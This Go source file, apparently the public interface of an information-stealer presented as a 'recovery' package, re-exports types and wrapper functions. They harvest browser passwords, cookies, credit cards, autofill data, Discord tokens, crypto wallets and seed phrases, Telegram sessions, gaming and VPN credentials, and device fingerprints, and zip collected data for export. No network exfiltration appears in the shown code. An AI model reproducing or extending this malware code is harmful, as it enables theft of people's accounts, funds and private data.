package recovery import ( "recovery/recovery/fingerprint" "recovery/recovery/scanner" "recovery/recovery/types" "recovery/recovery/ziputil" ) type CollectOptions = types.CollectOptions type CollectionResult = types.CollectionResult type BrowserConfig = types.BrowserConfig type ProfileInfo = types.ProfileInfo type ResolvedKeys = types.ResolvedKeys type PasswordResult = types.PasswordResult type CookieResult = types.CookieResult type AutofillResult = types.AutofillResult type HistoryResult = types.HistoryResult type BookmarkResult = types.BookmarkResult type CreditCardResult = types.CreditCardResult type DiscordTokenResult = types.DiscordTokenResult type FileResult = types.FileResult type ExtensionResult = types.ExtensionResult type WalletResult = types.WalletResult type TelegramResult = types.TelegramResult type KeyResult = types.KeyResult type SeedResult = types.SeedResult type AppCredentialResult = types.AppCredentialResult type GamingResult = types.GamingResult type SteamResult = types.SteamResult type GameInfo = types.GameInfo type BattleNetResult = types.BattleNetResult type EpicResult = types.EpicResult type RiotResult = types.RiotResult type UplayResult = types.UplayResult type VPNResult = types.VPNResult type NordVPNResult = types.NordVPNResult type WireGuardResult = types.WireGuardResult type OpenVPNResult = types.OpenVPNResult type MullvadResult = types.MullvadResult type FingerprintResult = fingerprint.Result type FingerprintJSResult = fingerprint.JSResult func ScanExtensions() []ExtensionResult { return scanner.ScanExtensions() } func ScanFiles() []FileResult { return scanner.ScanFiles() } func ScanWallets() []WalletResult { return scanner.ScanWallets() } func ScanTelegram() []TelegramResult { return scanner.ScanTelegram() } func ScanKeys() []KeyResult { return scanner.ScanKeys() } func ScanApps() []AppCredentialResult { return scanner.ScanApps() } func FetchFile(path string) ([]byte, error) { return scanner.FetchFile(path) } func ZipTelegram(path string) ([]byte, error) { return scanner.ZipTelegram(path) } func ZipDirectory(dir string) ([]byte, error) { return ziputil.ZipDirectory(dir) } func CollectFingerprint() *FingerprintResult { return fingerprint.Collect() } func CollectJSFingerprint() *FingerprintJSResult { return fingerprint.CollectJS() } func ScanSeeds(files []FileResult, passwords []PasswordResult, autofill []AutofillResult) []SeedResult { return scanner.ScanSeeds(files, passwords, autofill) }